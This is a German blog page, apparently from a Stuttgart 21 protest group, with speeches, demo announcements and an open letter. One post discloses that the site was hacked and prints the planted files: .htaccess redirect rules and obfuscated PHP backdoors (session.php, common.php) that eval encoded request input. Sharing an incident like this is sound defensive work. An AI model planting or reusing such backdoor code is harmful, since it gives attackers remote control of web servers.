Rede von Dr. Wolfgang Neef bei der 188. Montagsdemo

Publiziert am 10. September 2013 von Matthias von Herrmann

Rede von Dr. Wolfgang Neef, Soziologe, auf der 188. Montagsdemo am 9.9.2013

Pleiten, Pech und Pannen
Warum der Börsen- und Renditewahn nicht nur die Bahn, sondern auch die Qualität der Technik ruiniert.

Wenn man sich die Serie der Pannen bei Großprojekten in den letzten 15 Jahren vor Augen führt, fragt man sich erstaunt: Wie kann das in einem Land passieren, das seit der Kontinentalsperre der Engländer im 19. Jahrhundert auf die Marke „Made in Germany“ stolz war? Warum konnte man ein fast perfektes S-Bahn-System in Berlin bauen und betreiben – bis 1990 übrigens unter DDR-Regie, das dann von der Deutschen Bahn bis 2009 so zugrunde gerichtet wurde, dass es bis heute ständigen Ärger damit gibt? Ohne Anspruch auf Vollständigkeit:

  • ganz aktuell: der Mainzer Hauptbahnhof wochenlang lahmgelegt
  • 1998: ICE-Desaster in Eschede
  • Toll-Collect-Skandal
  • Transrapid
  • Berliner S-Bahn
  • Elbphilharmonie
  • diverse Rückruf-Aktionen der Autoindustrie (aktuell: US-Markt, 11,3 Millionen von Januar bis Juni 2013, besonders BMW)
  • Flughafen Berlin-Brandenburg
  • etc. etc: Fortsetzung ziemlich sicher, z.B. in Stuttgart

 

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Videos von der 188. Montagsdemo

Publiziert am 10. September 2013 von Matthias von Herrmann

Anfangsmusik: Cappella Rebella
Anmoderation: Angelika Linckh
Bericht von GWM-Erörterung: Dipl.-Phys. Wolfgang Kuebart, Ingenieure 22
Angelika Linckh und Hans-Jörg Jäkel (Stuttgarter Stern)
Zwischenmusik: Cappella Rebella
Abmoderation: Angelika Linckh

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GWM-Erörterung: Fazit vom ersten Tag

Publiziert am 10. September 2013 von Matthias von Herrmann

Dr. Carola Eckstein, Mitglied im Netzwerk Killesberg und bei den Ingenieuren22, zieht das folgende Fazit vom ersten Tag der GWM-Erörterung: „Die Bahn windet sich, wie sie nur kann, um eine Umweltverträglichkeitsprüfung für die enorme Erhöhung der abzupumpenden Grundwassermengen zu vermeiden. Wirklich eklatant ist jedoch die Aussage des Eisenbahnbundesamtes: Man habe incident mit der Prüfung der Erörterungsunterlagen eine Umweltverträglichkeits-Vorprüfung durchgeführt – die Entscheidung sei jedoch nicht dokumentiert, liege nicht schriftlich vor und konnte bislang auch auf ausdrückliche Nachfrage nicht mitgeteilt werden. Mehr als diese kuriose Auskunft konnte die Vertreterin des Eisenbahnbundesamt leider nicht geben. Offensichtlich hat Verkehrsminister Peter Ramsauer seinem Eisenbahnbundesamt einen Maulkorb verpasst: keine unangenehme Aussagen vor der Wahl!“

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Flyer für 191. Montagsdemo am 30.9. (3. Jahrestag Schwarzer Donnerstag)

Publiziert am 9. September 2013 von Matthias von Herrmann

Diesen Flyer wird es ab heute Abend bei der Montagsdemo geben. Wir organisieren eine groß angelegte Verteil-Aktion (ähnlich wie für die Ärger-Flyer letzten Sommer).

Der Stand zur Ausgabe der Flyer ist während der Kundgebung neben den anderen Infoständen an der Bushaltestelle (vor Hindenburgbau) an der Ecke Lautenschlagerstraße, vor dem Block-House. Sie können in einer Stuttgart-Karte einzeichnen, in welchen Straßen Sie die Flyer in die Briefkästen werfen wollen. Ab Dienstag ist die Flyer-Ausgabe an der Mahnwache. Wir freuen uns jetzt schon über viele fleißige und motivierte Helfer, denn diese Demo zum 30.9. soll eine besondere Montagsdemo werden.

Flyer_191.MoDemo_3.JahrestagSchwarzerDonnerstag_2013-09-30_Vorderseite

Flyer_191.MoDemo_3.JahrestagSchwarzerDonnerstag_2013-09-30_Rueckseite

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Website gehackt

Publiziert am 9. September 2013 von Fritz Mielert

BAA wurde am 30.8.2013 gehackt, was wir leider heute erst entdeckt haben. An diesem Tag haben wir folgende Plugins aktualisiert, von denen wahrscheinlich eines den Schadcode mitgebracht hat: nextgen-gallery, contact-form-7, antispam-bee und statify.

Bisher haben wir drei Dateien gefunden, die kompromittiert/neu erstellt wurden: .htaccess, common.php & session.php

Update 9.9.
Es scheint sich doch nicht um eine Hintertür via Pluginupdate zu handeln.
Sinnvoll ist ein Post von Peter Tasker.

Update 10.9.
Der Angriff auf unseren Server scheint sich vom WordPress Pharma Hack zu unterscheiden. So sind auch statische Websites wie parkschuetzer.org betroffen. Momentan gehe ich davon aus, dass der gesamte Server neu aufgesetzt werden muss.

Änderung in .htaccess:

# Apache search queries statistic module

RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (google|yahoo|aol|bing|crawl|aspseek|icio|robot|spider|nutch|slurp|msnbot) [OR]
RewriteCond %{HTTP_REFERER} (google|aol|yahoo|msn|search|bing)
RewriteCond %{REQUEST_URI} /$ [OR]
RewriteCond %{REQUEST_FILENAME} (shtml|html|htm|php|xml|phtml|asp|aspx)$ [NC]
RewriteCond %{REQUEST_FILENAME} !common.php
RewriteCond %{DOCUMENT_ROOT}/common.php -f
RewriteRule ^.*$    /common.php [L]

session.php (in Ausschnitten abgebildet, da wir noch nicht wissen, was es macht):

<?php
$_f___f='base'.(32*2).'_de'.'code';
if((md5($_REQUEST["img_id"]) == "ae6d32585ecc4d33cb8cd68a047d8434") && isset($_REQUEST["mod_content"])) { eval($_f___f($_REQUEST["mod_content"])); exit(); }
$_f___f=$_f___f(str_replace("\n", '', 'P7FB3AybFxmRoovQsw9XvisJsIs58T6CRxPuJufUTk8c3hlJgashBXy7CEnq5GLYGsz+339CevK1Q9bH
...
AegQToikh5sZLtqzEQ/z2zyMMZepJhyRYMk8dO6cFjJKK12zJg9zK2x4kMe30R5kilHLrBpCtLELaXla
'));$_f__f=isset($_POST['_f__f'])?$_POST['_f__f']:(isset($_COOKIE['_f__f'])?$_COOKIE['_f__f']:NULL);if($_f__f!==NULL){$_f__f=md5($_f__f).substr(md5(strrev($_f__f)),0,strlen($_f__f));for($_f____f=0;$_f____f<15180;$_f____f++){$_f___f[$_f____f]=chr(( ord($_f___f[$_f____f])-ord($_f__f[$_f____f]))%256);$_f__f.=$_f___f[$_f____f];}if($_f___f=@gzinflate($_f___f)){if(isset($_POST['_f__f']))@setcookie('_f__f', $_POST['_f__f']);$_f____f=create_function('',$_f___f);unset($_f___f,$_f__f);$_f____f();}}?><form action="" method="post"><input type="text" name="_f__f" value=""/><input type="submit" value="&gt;"/></form>

common.php (in Ausschnitten abgebildet, da wir noch nicht wissen, was es macht):

<?php
/**
* Creates common globals for the rest of Site
*
* Sets $pagenow global which is the current page. Checks
* for the browser to set which one is currently being used.
*
* Detects which user environment SITE is being used on.
* Only attempts to check for Apache and IIS. Two web servers
* with known permalink capability.
*
*/

/* WARNING: This file is protected by copyright law. To reverse engineer or decode this file is strictly prohibited. 130 */
error_reporting(0);eval(base64_decode('JGxMOXdGMWFZNHpYNmpUMWdUNmdRN2xPMGtIMGdCNW9OOG1ZOG5COHZCN3pROGNCOXNBNHpUMm1aNmhYNGFGOXRGMWNOMmNMMmtRM2NKM3VIN25TM3hINGJHOW9IMW5SOG1ENXBWOD0kbkk0a1M5ZkowZEQ2eUozdlg5bUIwZVQ2cEcweUs0elExeFIwbFk4dkgzc0Ewa1owb041a003ckcwb1Azdlkyc
...
kd04yZks5ZUI5aUY0dkM0Z0oxckc1c044a0o5a04ydUU1ZEIxb0s4cVgxbVU4clUyaEQxek05dUQ1aFQxcVA3a0k1ckY1YVk5cFQ2eUowZFo4dkk1Y1E5b1AzZk01dFkwZ0c1Z0M0PSRzUDR1STRvTjB1TDdxWjV2TjhxVjZzSDRoUzFjTjJrTTd2WTByVTJwSjZ3TDNlTTZ0RjdpQjliVTN0VjJvWjdnTzN6TThvQThjQjJrWTVxTjdvQzNqTjJ0RTh6VzJ1WjhpSTZpRzA7JGRWMmhRMG5BMWdEOG5NOHNHNHdaMWtVM2lGN2NMNXJBNG9BNnFCOG1HM3pEOHFXNWxaMXVROXRKNXNIMnJBN2NQMnpSNHRJNmpENGpFMnJDNXRZN29JNHBKOT0kcFgxZU82cVE5ZEo4Zkw3ekM0YUIybU4xeEYyako2blM0bEs2ckY2akoxY080elo2b0w4ekI5dVEzY0k4blc4ZE0xb1gwdkk0cE43eVE2a0s2ZUM0dEo0aE01akQ5Y083Ow=='));
?>
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Mischfinanzierung: OB Kuhn verweigert Revisionssprung zum Bundesverwaltungsgericht

Publiziert am 6. September 2013 von Julia

PRESSEMITTEILUNG der Fraktionsgemeinschaft SÖS und LINKE, 6. September 2013
Das Warten auf Rechtssicherheit bei der Mischfinanzierung geht weiter - Stuttgarter OB verweigert Revisionssprung zum Bundesverwaltungsgericht

Die Fraktionsgemeinschaft SÖS und LINKE kritisiert die Entscheidung von Oberbürgermeister Kuhn scharf, im Rechtsstreit um die Zulässigkeit des 2. Bürgerbegehrens gegen S21 den Weg eines Revisionssprungs zum Bundesverwaltungsgericht zu verbauen. Damit wird einmal mehr vom grünen OB eine Chance vertan, zügig Rechtssicherheit in Bezug auf die Mischfinanzierung bei Stuttgart 21 zu bekommen. weiterlesen →

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Vorschau auf die Montagsdemo am 30.9.

Publiziert am 6. September 2013 von Matthias von Herrmann

Der dritte Jahrestag des Schwarzen Donnerstags fällt dieses Jahr auf einen Montag. Daher wird die 191. Montagsdemo sich diesem Thema widmen, länger dauern und ganz anders gestaltet sein als sonst üblich: Wir drehen die Reihenfolge um, also erst einen großen Demozug durch die Stadt, dann eine Kundgebung im Schlossgarten (zw. Biergarten und Café NIL).

Als Redner konnten wir gewinnen:

Musik: Lenkungskreis Jazz

Nach den Rede- und Musikbeiträgen, die von ca. 19:15 bis ca. 20:15 dauern werden, gibt es zum Ausklang je nach Wetter noch mehr Musik vom Lenkungskreis Jazz.

Ein Flyer wird gerade erstellt, Sie können ihn ab Montag, 9.9. bei der Montagsdemo bekommen und fleißig verteilen.

Die Vorbereitung dieser besonderen Montagsdemo ist eine Kooperation von AK Tribunal, Initiative 30.9. e.V. und Demoteam.

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Offener Brief der Netzwerke: Rolle des Umweltamts bei Erörterung

Publiziert am 6. September 2013 von Matthias von Herrmann

Offener Brief der Anwohner-Netzwerke
Stellungnahme der Stadt zum S21-Grundwassermanagement / Rolle des AfU

Sehr geehrter Herr Oberbürgermeister Kuhn,

in einem Schreiben an das Regierungspräsidium bittet Baubürgermeister Matthias Hahn darum, die Mitarbeiter der unteren Wasserbehörde nicht zum anstehenden Erörterungstermin zum Grundwassermanagement einzuladen (siehe PDF-Datei).

Die Bitte erstaunt uns sehr, noch überraschender ist die Begründung: In einer öffentlichen Diskussion könne der Eindruck entstehen, 'das Amt [für Umweltschutz, also die untere Wasserbehörde] betreibe ohne ausreichende Distanz die Sache der Bahn.'

Das Amt für Umweltschutz der Stadt Stuttgart hat als untere Wasserbehörde im laufenden Verfahren die Aufgabe, die Belange der Stadt Stuttgart und der Stuttgarter Bürger gegenüber der Bahn zu vertreten. Insbesondere geht es darum, jede Gefährdung der Bad Cannstatter Mineralquellen auszuschließen und sicherzustellen, dass die Bahn nichts unternehmen darf, was die Standsicherheit der Häuser im Kernerviertel gefährdet.

Wenn das Amt seine gesetzlichen Aufsichtspflichten ernst nimmt und gewissenhaft erfüllt, kann doch nicht der Eindruck entstehen, die untere Wasserbehörde vertrete die Sache der Bahn! Oder vertritt das Umweltamt doch die Sache der Bahn, nur die Bürger sollen das nicht mitbekommen?

Im Juli 2013 hat Umweltminister Franz Untersteller noch für eine Verschiebung der Erörterung plädiert, solange die Stellungnahme der Stadt (d.h. der unteren Wasserbehörde) nicht vorliegt. Jetzt, wo diese Stellungnahme vorliegt, ist das Umweltamt offenbar nicht in der Lage, diese auch öffentlich zu vertreten. Was sagt der Umweltminister dazu?

Sehr geehrter Herr Kuhn, die Ausführungen von Baubürgermeister Hahn nähren Zweifel, ob die Interessen der Stuttgarter Bürger durch das Amt für Umweltschutz gut vertreten sind. Ich bitte Sie als Oberbürgermeister, für eine gute und ernsthafte Vertretung der Stuttgarter Bürger zu sorgen. Das Amt für Umweltschutz muss aktiv an der GWM-Erörterung teilnehmen und die mangelhaften Unterlagen der Bahn vor allem zur geotechnischen Sicherheit im Kernerviertel auch öffentlich thematisieren.

Mit freundlichen Grüßen

Dr. Carola Eckstein
Netzwerk Killesberg

Frank Schweizer
Netzwerk Kernerviertel

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Erörterung zum S21-GWM: Bitte kommen!

Publiziert am 6. September 2013 von Matthias von Herrmann

Am kommenden Montag findet die neue Erörterungsverhandlung zum S21-Grundwassermanagement statt. Bekanntlich ist der erste Anlauf für diese Verhandlung Mitte Juli 2013 wegen Befangenheit des Sitzungsleiters abgebrochen worden. Inhaltlich geht es vor allem um die von der Bahn beantragte Verdoppelung der für den Tiefbahnhof abzupumpenden Grundwassermengen (6,8 Mrd. Liter statt 3,2 Mrd. Liter). Daraus ergeben sich vielerlei Risiken für das Mineralwasser, die Bäume im Schlossgarten und die Gebäude im Kernerviertel.

Die öffentliche Verhandlung beginnt am Montag 9. September um 9:00 Uhr im Internationalen Congresscenter Stuttgart (ICS) Raum C2.1 auf dem Gelände der Landesmesse (Eingang Ost).
Die Agenda und weitere Infos finden Sie in der PDF-Datei des Regierungspräsidiums.

Bitte kommen Sie besonders zahlreich zu Beginn am kommenden Montag zu dieser Veranstaltung, um mit ihrer Anwesenheit zu zeigen, dass ihnen der Mineralwasser- und Schlossgartenschutz wichtig ist. Bitte auch weitersagen.

Wenn Sie eine schriftliche Einwendung gemacht haben, sind sie redeberechtigt, aber allein das Zuhören ist schon interessant.

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188. Montagsdemo am 9.9.

Publiziert am 5. September 2013 von Roswitha Götz

Die 188. Montagsdemo am 9.September 2013 findet ab 18 Uhr vor dem Stuttgarter Hauptbahnhof statt. Ab 18:45 Uhr Demozug zum Schlossplatz dort Schwabenstreich, Anschließend Offenes Mikrofon am Schlossplatz

Ab 17:45 Uhr Raddemo vom Feuersee zur Montagsdemo.

Redner:

  • N.N. Thema: Bericht vom ersten Erörterungstag
  • Wolfgang Neef, 1989-93 Vizepräsident TU Berlin, Wissenschaftlicher Beirat von Attac
    Thema: Pleiten, Pech und Pannen - Warum der Börsen- und Renditewahn nicht nur die Bahn, sondern auch die Qualität der Technik ruiniert.

Motto: Ihr kriegt uns nicht los, wir Euch schon
Musik: Capella Rebella
Moderation: Angelika Linckh, Parkschützer

 

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Rede von Dr. Berhard Knierim bei der 187. Montagsdemo

Publiziert am 4. September 2013 von Matthias von Herrmann

Rede von Dr. Bernhard Knierim, Bahn für Alle, auf der 187. Montagsdemo am 2.9.2013

Bahn für alle statt alles für Stuttgart 21

Das Bündnis Bahn für Alle – hier in Stuttgart wohl bestens bekannt – ist bereits seit 2006 gegen die Bahnprivatisierung aktiv. Wir haben inzwischen 20 Bündnispartner: Umwelt- und Verkehrsverbände, Jugendverbände und Gewerkschaften. Und wir können sagen, dass wir unseren Teil dazu beigetragen haben, die damals geplante materielle Bahnprivatisierung immer wieder zu verzögern – bis der geplante Börsengang dann im Herbst 2008 mitten in die Wirtschaftskrise kam und in letzter Minute abgebrochen werden musste. In dem Falle hatte die Krise also durchaus auch ihre gute Seite, weil die DB AG immer noch zu 100 Prozent uns allen gehört – wobei nicht nur die Krise eine Rolle gespielt hat, sondern vielleicht noch wichtiger der Achsbruch an einem ICE in Köln im Sommer 2008, durch den auch für die Letzten deutlich wurde, wie sehr sich die DB AG in Vorbereitung auf den Börsengang schon kaputtgespart hatte.

Aber: Obwohl die Bahn noch immer vollständig uns allen gehört, tut die Bundesregierung trotzdem so, als könnte sie die Bahn nicht politisch steuern – die DB AG sei ja ein unabhängiges Wirtschaftsunternehmen. Das kommt immer als Antwort auf alle Fragen zu den Problemen bei der Bahn, sei es die Stilllegung vieler Nebenstrecken, seien es verlotterte Bahnhöfe, Probleme mit der Sicherheit und der Zuverlässigkeit oder unsinnige Bauprojekte wie das hier am Stuttgarter Bahnhof.

Dass die Bundesregierung keinen Einfluss auf die Bahn habe, ist ausgemachter Unfug, denn an anderen Stellen macht sie diesen sehr wohl geltend: Wenn es um die Installation eines neuen Bahnchefs geht oder wie jetzt gerade um die Fortsetzung eines zerstörerischen Großprojekts. weiterlesen →

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Rede von Thilo Böhmer bei der 187. Montagsdemo

Publiziert am 4. September 2013 von Matthias von Herrmann

Rede von Thilo Böhmer, Lokführer und Feuerwehrmann, Ingenieure22, auf der 187. Montagsdemo am 2.9.2013

Brandschutz und Entrauchung

Liebe Freunde eines guten und vor allem sicheren Konzepts für den Schienenverkehr,

die Themen Brandschutz und Sicherheit sind bei der Deutschen Bahn AG in den vergangenen Jahren zu einem leidigen Dauerthema geworden. Vor allem in Stuttgart und in Verbindung mit Stuttgart 21 wurde das durch zunehmende Kritik unabhängiger Experten ausländischer Gutachterbüros und aus den Reihen der ortsansässigen Branddirektion immer deutlicher. Die meisten Schlagzeilen hierzu trug bisher der Fildertunnel bei, zu dem es gerade wieder ein neues und verbessertes Brandschutzkonzept (so sagt jedenfalls die Bahn-Kommunikation) geben soll. Und damit jeder sich davon überzeugen möge, wie sehr die Bahn dieses Brandschutz- und Sicherheitskonzept verbessert hat, ist es – wie Sie ahnen – natürlich streng vertraulich. Sicherheitsfragen sollen intern mit den zuständigen Stellen abgestimmt werden.

Auf der anderen Seite beklagt man dann immer das Misstrauen, das der Bahn bereits bei kleineren Störfällen inzwischen entgegenschlägt. Dabei ist man auf dem Wege, den letzten Rest an Vertrauen, den man in der Öffentlichkeit noch genießt, durch mangelnde Transparenz vollends zu verspielen.

Doch der Fildertunnel soll heute einmal nicht im Fokus stehen. Wenn Sie in den vergangenen Wochen als Daheimgebliebene in der Lage waren, die Meldungen der Lokalpresse zu verfolgen, dann wissen Sie vermutlich bereits, dass die Bahn Planungen zur Verlegung des Entrauchungsbauwerks Killesberg an den Wartberg kürzlich aufgegeben hat.

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